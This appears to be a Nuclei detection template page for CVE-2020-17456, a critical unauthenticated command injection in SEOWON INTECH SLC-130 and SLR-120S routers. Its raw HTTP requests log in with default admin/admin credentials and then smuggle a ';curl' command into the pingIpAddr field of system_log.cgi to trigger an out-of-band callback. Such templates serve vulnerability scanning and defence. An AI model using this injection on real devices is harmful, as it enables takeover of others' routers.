SEOWON INTECH SLC-130 & SLR-120S - Unauthenticated Remote Code Execution

ID: CVE-2020-17456

Severity: critical

Author: gy741,edoardottt

Tags: cve,cve2020,seowon,oast,packetstorm,rce,router,unauth,iot,seowonintech

Description

SEOWON INTECH SLC-130 and SLR-120S devices allow remote code execution via the ipAddr parameter to the system_log.cgi page.

YAML Source

id: CVE-2020-17456

info:
  name: SEOWON INTECH SLC-130 & SLR-120S - Unauthenticated Remote Code Execution
  author: gy741,edoardottt
  severity: critical
  description: SEOWON INTECH SLC-130 and SLR-120S devices allow remote code execution via the ipAddr parameter to the system_log.cgi page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://maj0rmil4d.github.io/Seowon-SlC-130-And-SLR-120S-Exploit/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17456
    - http://packetstormsecurity.com/files/158933/Seowon-SlC-130-Router-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/166273/Seowon-SLR-120-Router-Remote-Code-Execution.html
    - https://www.exploit-db.com/exploits/50821
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-17456
    cwe-id: CWE-78
    epss-score: 0.96253
    epss-percentile: 0.99525
    cpe: cpe:2.3:h:seowonintech:slc-130:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: seowonintech
    product: slc-130
  tags: cve,cve2020,seowon,oast,packetstorm,rce,router,unauth,iot,seowonintech
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        browserTime=081119502020&currentTime=1597159205&expires=Wed%252C%2B12%2BAug%2B2020%2B15%253A20%253A05%2BGMT&Command=Submit&user=admin&password=admin
      - |
        POST /cgi-bin/system_log.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210090089d0eade4e7ad74f116967cd50d7287afc76be52293743166ac8cecc9e0970221009b3f88d4658fefd64672a347d18a0e1487d60b06fdbcb4abb95a0243ab916601:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-17456.yaml"

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